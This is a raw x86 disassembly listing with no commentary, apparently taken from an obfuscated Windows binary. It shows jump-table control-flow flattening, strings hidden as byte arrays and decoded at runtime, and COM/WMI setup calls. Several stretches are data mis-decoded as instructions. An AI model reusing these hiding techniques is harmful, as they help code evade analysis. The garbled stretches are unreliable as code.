add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, ebx
add eax, 4
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
sub esp, 0xc
mov dword [esp + 4], ebx
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, ebx
add eax, 8
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, ebx
add eax, 0xa
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, ebx
add eax, 0xc
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.0042a580
add esp, 0xc
mov byte [eax], 0
mov dword [esi + 0x240], 0
mov eax, dword [esi + 0x244]
mov ecx, dword [esi + 0x240]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x50]
jmp eax
mov eax, dword [esi + 0x168]
mov ecx, dword [esi + 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x340], 1
mov eax, dword [esi + 0x344]
mov ecx, dword [esi + 0x340]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x124]
jmp eax
call fcn.004178d0
mov dword [esi + 0x158], 0
mov eax, dword [esi + 0x15c]
mov ecx, dword [esi + 0x158]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x20], 0
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x20]
cmp eax, 0x1c
jae 0x42925d
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x20]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a800
mov edx, dword [esi + 4]
add esp, 8
mov ecx, dword [esi + 0x20]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x20]
inc eax
mov dword [esi + 0x20], eax
jmp 0x429227
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
sub edi, 3
sete al
mov dword [esi + 0x138], eax
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x138]
mov eax, dword [eax + ecx*4]
mov ecx, dword [esi + 0x38]
jmp eax
mov ecx, dword [esi + 0x1b0]
mov edx, dword [esi + 0x1b4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esi + 0x1e0]
mov ecx, dword [esi + 0x1e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x208]
mov ecx, dword [esi + 0x20c]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x24]
mov edi, dword [eax]
mov eax, dword [esi + 0x60]
mov al, byte [eax]
mov byte [esi + 0x50], al
mov ecx, dword [esi + 4]
mov byte [ecx], 0xac
mov byte [ecx + 1], 0x49
mov byte [ecx + 2], 0xd7
mov byte [ecx + 3], 0x4f
mov byte [ecx + 4], 0xdb
mov byte [ecx + 5], 0x4d
mov byte [ecx + 6], 0xd2
mov byte [ecx + 7], 0x43
mov byte [ecx + 8], 0xdc
mov byte [ecx + 9], 0x41
mov byte [ecx + 0xa], 0xa7
mov byte [ecx + 0xb], 0x47
mov byte [ecx + 0xc], 0xcd
mov byte [ecx + 0xd], 0x45
mov byte [ecx + 0xe], 0x88
mov byte [ecx + 0xf], 0x7b
mov byte [ecx + 0x10], 0x99
mov byte [ecx + 0x11], 0x79
mov byte [ecx + 0x12], 0xe3
mov byte [ecx + 0x13], 0x7f
mov byte [ecx + 0x14], 0x99
mov byte [ecx + 0x15], 0x7d
mov byte [ecx + 0x16], 0x72
mov byte [ecx + 0x17], 0x73
mov eax, 0x18
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x1c
jne 0x429381
mov dword [esi + 0x1d0], 1
mov eax, dword [esi + 0x1d4]
mov ecx, dword [esi + 0x1d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x94], edi
mov edi, dword [esi + 0x2c]
mov eax, dword [edi]
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x270], eax
mov eax, dword [esi + 0x274]
mov ecx, dword [esi + 0x270]
mov eax, dword [eax + ecx*4]
mov dword [esi], 0
mov ecx, edi
jmp eax
mov eax, dword [esi + 0x78]
mov al, byte [eax]
mov byte [esi + 0x3c], al
mov byte [ebx], 0x1e
mov byte [ebx + 1], 0x4f
mov byte [ebx + 2], 0x1f
mov byte [ebx + 3], 0x51
mov byte [ebx + 4], 1
mov byte [ebx + 5], 0x53
mov byte [ebx + 6], 6
mov byte [ebx + 7], 0x55
mov byte [ebx + 8], 8
mov byte [ebx + 9], 0x57
mov byte [ebx + 0xa], 3
mov byte [ebx + 0xb], 0x59
mov byte [ebx + 0xc], 0xff
mov byte [ebx + 0xd], 0x5b
mov byte [ebx + 0xe], 0xff
mov byte [ebx + 0xf], 0x5d
mov byte [ebx + 0x10], 0xeb
mov byte [ebx + 0x11], 0x5f
mov byte [ebx + 0x12], 0xec
mov byte [ebx + 0x13], 0xa1
mov byte [ebx + 0x14], 0xb
mov byte [ebx + 0x15], 0xa3
mov byte [ebx + 0x16], 0x16
mov byte [ebx + 0x17], 0xa5
mov byte [ebx + 0x18], 0x1f
mov byte [ebx + 0x19], 0xa7
mov byte [ebx + 0x1a], 0xe3
mov byte [ebx + 0x1b], 0xa9
mov byte [ebx + 0x1c], 0xf
mov byte [ebx + 0x1d], 0xab
mov byte [ebx + 0x1e], 4
mov byte [ebx + 0x1f], 0xad
mov byte [ebx + 0x20], 0x18
mov byte [ebx + 0x21], 0xaf
mov byte [ebx + 0x22], 9
mov byte [ebx + 0x23], 0xb1
mov byte [ebx + 0x24], 2
mov byte [ebx + 0x25], 0xb3
mov byte [ebx + 0x26], 0xc0
mov byte [ebx + 0x27], 0xb5
mov byte [ebx + 0x28], 0xb4
mov byte [ebx + 0x29], 0xb7
mov eax, 0x2a
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x2c
jne 0x4294d0
mov dword [esi + 0xc], 0
mov edi, dword [esi + 0x2c]
mov eax, dword [esi + 0xc]
cmp eax, 0x2c
jae 0x429519
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xc]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a780
add esp, 8
mov ecx, dword [esi + 0xc]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0xc]
inc eax
mov dword [esi + 0xc], eax
jmp 0x4294e6
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edx, edi
mov edi, eax
mov ebx, dword [esi + 0x6c]
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
sub esp, 0x24
mov dword [esp + 0x20], edx
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call eax
not eax
shr eax, 0x1f
mov dword [esi + 0x278], eax
mov eax, dword [esi + 0x27c]
mov ecx, dword [esi + 0x278]
mov eax, dword [eax + ecx*4]
mov dword [esi], 0
jmp eax
call fcn.004178d0
mov dword [esi + 0xf0], 1
mov eax, dword [esi + 0xf4]
mov ecx, dword [esi + 0xf0]
mov eax, dword [eax + ecx*4]
jmp eax
sar byte [eax - 0xd], cl
sub esp, 4
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0x58]
mov dword [esp], eax
call edi
mov eax, dword [esi + 0xa8]
mov ecx, dword [esi + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x168]
mov ecx, dword [esi + 0x16c]
mov eax, dword [ecx + eax*4]
mov ecx, dword [esi + 0x90]
mov dword [esi], ecx
jmp eax
call fcn.004178d0
mov dword [esi + 0x150], 1
mov eax, dword [esi + 0x154]
mov ecx, dword [esi + 0x150]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x218], 1
mov eax, dword [esi + 0x21c]
mov ecx, dword [esi + 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x220], 0
mov eax, dword [esi + 0x224]
mov ecx, dword [esi + 0x220]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x240]
mov ecx, dword [esi + 0x244]
mov eax, dword [ecx + eax*4]
mov dword [esi], 0
jmp eax
call fcn.004178d0
mov dword [ebx], 0
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
sub esp, 0x14
mov dword [esp + 0x10], ebx
mov edx, dword [esi + 0x24]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
test eax, eax
sets cl
sub eax, 1
sete al
mov edx, dword [ebx]
test edx, edx
sete dl
or al, dl
or al, cl
mov dword [esi + 0x230], 0
mov ecx, dword [esi + 0x234]
mov edx, dword [esi + 0x230]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
mov dword [esi + 0xf8], 0
mov eax, dword [esi + 0xfc]
mov ecx, dword [esi + 0xf8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
xor eax, eax
cmp dword [esi], 0
sete cl
mov dword [esi + 0x188], 0
mov edx, dword [esi + 0x18c]
mov edi, dword [esi + 0x188]
mov edx, dword [edx + edi*4]
jmp edx
call fcn.004178d0
push eax
mov eax, esp
sub esp, 0x2c
mov ebx, esp
push eax
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x2c], esp
sub esp, 0xc
mov dword [esi + 0x84], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 0x44
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0x38], esp
push eax
mov dword [esi + 0x24], esp
push eax
mov dword [esi + 0x9c], esp
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 8], ecx
mov esp, ecx
push eax
sub esp, 0x18
mov dword [esi + 0x68], esp
push eax
mov dword [esi + 0x98], esp
push eax
mov dword [esi + 0x34], esp
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov dword [esi + 0x64], ecx
mov esp, ecx
push eax
sub esp, 0x18
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x60], esp
mov dword [eax], 0
sub esp, 0x14
mov dword [esi + 0x6c], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x43a9c0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x43a9d0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x288], 0
mov edx, dword [esi + 0x28c]
mov edi, dword [esi + 0x288]
mov edx, dword [edx + edi*4]
jmp edx
mov eax, dword [esi + 0xa0]
mov ecx, dword [esi + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x148]
mov ecx, dword [esi + 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x114]
mov eax, dword [ecx + eax*4]
mov ecx, dword [esi + 0x2c]
jmp eax
sub esp, 4
mov dword [esp], 0xc
call fcn.00408f60
add esp, 4
mov dword [eax], 0
mov ecx, eax
add ecx, 4
mov dword [esi + 0x54], ecx
mov byte [eax + 4], 0
mov ecx, eax
add ecx, 8
mov dword [esi + 0x8c], ecx
mov dword [esi + 0x90], eax
mov dword [eax + 8], 0
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x24]
mov edi, dword [eax]
mov eax, dword [esi + 0x98]
mov al, byte [eax]
mov byte [esi + 0x48], al
mov edx, dword [esi + 0x68]
mov byte [edx], 0x48
mov byte [edx + 1], 0x39
mov byte [edx + 2], 0xb8
mov byte [edx + 3], 0x37
mov byte [edx + 4], 0x47
mov byte [edx + 5], 0x35
mov byte [edx + 6], 0x4e
mov byte [edx + 7], 0x33
mov byte [edx + 8], 0xbd
mov byte [edx + 9], 0x31
mov byte [edx + 0xa], 0x31
mov byte [edx + 0xb], 0x4f
mov byte [edx + 0xc], 0xc0
mov byte [edx + 0xd], 0x4d
mov byte [edx + 0xe], 0x25
mov byte [edx + 0xf], 0x4b
mov byte [edx + 0x10], 0xc4
mov byte [edx + 0x11], 0x49
mov byte [edx + 0x12], 0x27
mov byte [edx + 0x13], 0x47
mov byte [edx + 0x14], 0xc8
mov byte [edx + 0x15], 0x45
mov byte [edx + 0x16], 0x3f
mov byte [edx + 0x17], 0x43
mov byte [edx + 0x18], 0x40
mov byte [edx + 0x19], 0x41
mov eax, 0x1a
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0x1c
jne 0x429a32
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0x1c
jae 0x429a7b
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a7e0
mov edx, dword [esi + 0x68]
add esp, 8
mov ecx, dword [esi + 0x18]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x18]
inc eax
mov dword [esi + 0x18], eax
jmp 0x429a45
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov ebx, dword [esi + 8]
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
test eax, eax
setns al
mov cx, word [ebx]
sub cx, 3
sete cl
and al, cl
movzx eax, al
mov dword [esi + 0x1f8], eax
mov eax, dword [esi + 0x1fc]
mov ecx, dword [esi + 0x1f8]
mov eax, dword [eax + ecx*4]
jmp eax
leave
mov byte [edi + 0x3c], 0xc8
mov byte [edi + 0x3d], 0xcb
mov ecx, 0x3e
mov byte [edi + ecx], 0
add ecx, 1
cmp ecx, 0x41
jne 0x429bdd
mov dword [esi + 0x5c], eax
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 0x41
jae 0x429c26
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a7c0
add esp, 8
mov ecx, dword [esi + 0x14]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x14]
inc eax
mov dword [esi + 0x14], eax
jmp 0x429bf3
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edx, dword [esi + 0x260]
mov ecx, dword [esi + 0x264]
mov ecx, dword [ecx + edx*4]
jmp ecx
inc esi
rol byte [edx + 0x50], 0x89
loopne 0x429bcf
in al, dx
sub al, 0x50
push eax
sub esp, 0xc
push eax
sub esp, 0x44
push eax
push eax
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
push eax
sub esp, 0x10
mov ecx, esp
and ecx, 0xfffffff8
mov esp, ecx
push eax
sub esp, 0x18
push eax
mov dword [eax], 0
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x43a9c0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x43a9d0
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
mov eax, dword [esi + 0xe8]
mov ecx, dword [esi + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov dword [esi + 0x70], eax
mov edi, dword [ebx + 8]
mov ecx, eax
shl ecx, 1
mov edx, edi
add edx, ecx
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], edx
call fcn.00426d00
add esp, 8
mov edi, eax
sub edi, 0xffffffff
sub esp, 4
mov dword [esp], edi
call fcn.00408f60
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x8c]
mov dword [eax], ecx
mov edx, dword [ebx + 8]
mov ebx, dword [esi + 0x70]
shl ebx, 1
mov eax, edx
add eax, ebx
mov dword [esi + 0x74], eax
mov ebx, ecx
add ebx, edi
mov eax, ebx
add eax, 0xffffffff
cmp ecx, eax
jae 0x429d90
mov dword [esi + 0x28], ecx
mov dword [esi + 0x30], edx
call fcn.004178d0
call fcn.004178d0
mov edx, dword [esi + 0x30]
mov edi, dword [esi + 0x74]
test edi, edi
sete al
mov ecx, edx
sub ecx, edi
setb cl
or al, cl
mov ecx, dword [esi + 0x28]
test al, 1
jne 0x429d53
jmp 0x429d90
mov ax, word [edx]
cmp ax, 0
je 0x429d90
movzx eax, ax
add edx, 2
mov dword [esi + 0x30], edx
mov ecx, dword [esi + 0x28]
xor ecx, 0xffffffff
add ecx, ebx
sub esp, 0xc
mov edx, dword [esi + 0x28]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042a4c0
mov edx, dword [esi + 0x30]
mov ecx, dword [esi + 0x28]
add esp, 0xc
add ecx, eax
jmp 0x429d1d
mov byte [ecx], 0
mov eax, dword [esi + 0x1a0]
mov ecx, dword [esi + 0x1a4]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0x64]
jmp eax
fstp xword [esi]
inc esi
in eax, dx
out dx, eax
enter 0x1417, 0xffffffffffffffc7
add eax, dword [eax]
add byte [eax], al
add byte [ebx - 0x74f774f9], cl
dec ecx
adc byte [ebx + 0x5c8914ec], al
and al, 0x10
mov edx, dword [esi + 0x24]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
mov eax, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
mov ebx, dword [esi + 8]
add ebx, 8
mov edi, edx
mov ecx, 1
mov eax, ebx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, edx
add eax, 4
add ebx, 4
mov edi, eax
xor ecx, ecx
mov edx, ebx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
xor ecx, ecx
cmp ecx, 0
je 0x429e36
add ecx, 0xffffffff
mov edx, ebx
add edx, 1
mov bl, byte [ebx]
mov edi, eax
add edi, 1
mov byte [eax], bl
mov eax, edi
mov ebx, edx
jmp 0x429e1a
mov edx, dword [esi + 0x34]
mov al, byte [edx + 1]
mov ecx, dword [esi + 0x54]
mov byte [ecx], al
mov dword [esi + 0x1e8], 0
mov eax, dword [esi + 0x1ec]
mov ecx, dword [esi + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
aam 0xb7
invalid
rcl dword [edi - 0x1f57f8d1], cl
dec esi
inc ebx
mov eax, dword [esi + 0xb8]
mov ecx, dword [esi + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi], ecx
call fcn.004178d0
mov dword [esi + 0x120], 1
mov eax, dword [esi + 0x124]
mov ecx, dword [esi + 0x120]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x5c]
jmp eax
mov edx, dword [esi + 0x180]
mov edi, dword [esi + 0x184]
mov edx, dword [edi + edx*4]
jmp edx
call fcn.004178d0
mov dword [esi + 0x1f0], 0
mov eax, dword [esi + 0x1f4]
mov ecx, dword [esi + 0x1f0]
mov eax, dword [eax + ecx*4]
mov edx, dword [esi + 0x34]
jmp eax
mov eax, dword [ecx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x12c]
mov eax, dword [ecx + eax*4]
mov ecx, dword [esi]
jmp eax
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esi + 0x1c], 0
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x1c]
cmp eax, 0x1c
jae 0x429fce
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x1c]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a800
mov edx, dword [esi + 4]
add esp, 8
mov ecx, dword [esi + 0x1c]
mov byte [edx + ecx], al
mov eax, dword [esi + 0x1c]
inc eax
mov dword [esi + 0x1c], eax
jmp 0x429f98
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
sub esp, 0x18
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
mov dword [esi + 0x1b8], 1
mov ecx, dword [esi + 0x1bc]
mov edx, dword [esi + 0x1b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
movzx eax, al
and eax, 1
mov dword [esi + 0x228], eax
mov eax, dword [esi + 0x22c]
mov ecx, dword [esi + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
test edi, edi
sete al
mov dword [esi + 0x130], eax
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x130]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x38]
jmp eax
mov eax, dword [esi + 0x1c8]
mov ecx, dword [esi + 0x1cc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x210]
mov ecx, dword [esi + 0x214]
mov eax, dword [ecx + eax*4]
mov edi, 3
jmp eax
mov eax, dword [esi + 0x7c]
mov al, byte [eax]
mov byte [esi + 0x40], al
mov ebx, dword [esi + 0x84]
mov byte [ebx], 0x7f
mov byte [ebx + 1], 0x91
mov byte [ebx + 2], 0x43
mov byte [ebx + 3], 0x93
mov byte [ebx + 4], pe_nt_image_headers32
mov byte [ebx + 5], 0xad
mov byte [ebx + 6], 0xae
mov byte [ebx + 7], 0xaf
mov eax, 8
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0xa
jne 0x42a0cd
mov dword [esi + 0x10], 0
mov edi, dword [esi + 0x88]
mov eax, dword [esi + 0x10]
cmp eax, 0xa
jae 0x42a119
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x10]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a7a0
add esp, 8
mov ecx, dword [esi + 0x10]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0x10]
inc eax
mov dword [esi + 0x10], eax
jmp 0x42a0e6
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov edx, dword [esi + 0x268]
mov ecx, dword [esi + 0x26c]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov cl, al
and ecx, 1
mov dword [esi + 0x280], ecx
mov eax, dword [esi + 0x284]
mov ecx, dword [esi + 0x280]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
sub esp, 4
mov dword [esp], edi
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [ebx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0x104]
mov ecx, dword [ecx + eax*4]
mov eax, dword [esi]
jmp ecx
adc byte [0x34a0b4f3], cl
adc al, dl
sub esp, 4
mov eax, dword [esi + 8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x60]
mov al, byte [eax]
mov byte [esi + 0x4c], al
mov ecx, dword [esi + 4]
mov byte [ecx], 0xac
mov byte [ecx + 1], 0x49
mov byte [ecx + 2], 0xd7
mov byte [ecx + 3], 0x4f
mov byte [ecx + 4], 0xdb
mov byte [ecx + 5], 0x4d
mov byte [ecx + 6], 0xd2
mov byte [ecx + 7], 0x43
mov byte [ecx + 8], 0xdc
mov byte [ecx + 9], 0x41
mov byte [ecx + 0xa], 0xa7
mov byte [ecx + 0xb], 0x47
mov byte [ecx + 0xc], 0xcd
mov byte [ecx + 0xd], 0x45
mov byte [ecx + 0xe], 0x88
mov byte [ecx + 0xf], 0x7b
mov byte [ecx + 0x10], 0x99
mov byte [ecx + 0x11], 0x79
mov byte [ecx + 0x12], 0xe3
mov byte [ecx + 0x13], 0x7f
mov byte [ecx + 0x14], 0x99
mov byte [ecx + 0x15], 0x7d
mov byte [ecx + 0x16], 0x72
mov byte [ecx + 0x17], 0x73
mov eax, 0x18
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x1c
jne 0x42a216
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
sub esp, 4
mov dword [esp], ebx
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
sub esp, 4
mov eax, dword [esi + 0x58]
mov dword [esp], eax
call edi
mov dword [esi + 0x118], 1
mov eax, dword [esi + 0x11c]
mov ecx, dword [esi + 0x118]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov dword [esi + 0x238], 0
mov eax, dword [esi + 0x23c]
mov ecx, dword [esi + 0x238]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x9c]
jmp eax
call fcn.004178d0
mov dword [esi + 0x1d8], 0
mov eax, dword [esi + 0x1dc]
mov ecx, dword [esi + 0x1d8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x64]
jmp eax
mov eax, dword [ecx]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x108]
mov ecx, dword [esi + 0x10c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi + 0x94]
mov ebx, dword [esi + 0x6c]
jmp eax
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov eax, dword [esi + 0x160]
mov ecx, dword [esi + 0x164]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
fld dword [ecx]
inc ebx
fld qword [ecx]
daa
fld qword [ecx]
fstpnce st(1), st(0)
inc ecx
add byte [ecx], bh
fld qword [ecx]
push edx
fld qword [ecx]
sbb eax, 0x300041da
fiadd dword [ecx]
rcr cl, 0x41
add byte [ecx], bh
fiadd dword [ecx]
rcr cl, 0x41
fld dword [ecx]
jbe 0x43eb58
fld dword [ecx]
jbe 0x43eb58
inc ecx
add byte [esi - 0x26], dh
inc ecx
add byte [esi - 0x26], dh
inc ecx
add byte [eax + 0x760041da], ch
fiadd dword [ecx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
test al, 0xda
inc ecx
add al, al
fld dword [ecx]
mov dh, 0xda
inc ecx
add byte [ecx], bl
fadd qword [ecx]
and bl, ah
inc ecx
add byte [ecx - 0x24], al
inc ecx
add byte [esi - 0x24], al
inc ecx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x22], bl
inc ecx
add byte [ebp - 0x3cffbe24], bh
fadd qword [ecx]
mov al, 0xdd
inc ecx
add byte [eax - 0x4dffbe23], dh
fld qword [ecx]
mov al, 0xdd
inc ecx
add byte [esi], bl
fiadd word [ecx]
daa
fiadd word [ecx]
